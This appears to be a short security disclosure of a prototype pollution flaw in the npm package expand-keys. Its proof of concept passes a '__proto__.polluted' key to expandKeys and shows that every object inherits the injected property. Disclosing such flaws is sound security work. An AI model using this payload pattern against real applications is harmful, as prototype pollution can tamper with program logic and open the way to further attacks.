Prototype Pollution in patrickleet/expand-keys


Reported on

Dec 21st 2020


expand-keys is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var {expandKeys} = require("expand-keys")
console.log("Before : " + {}.polluted);
expandKeys({"__proto__.polluted": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i expand-keys # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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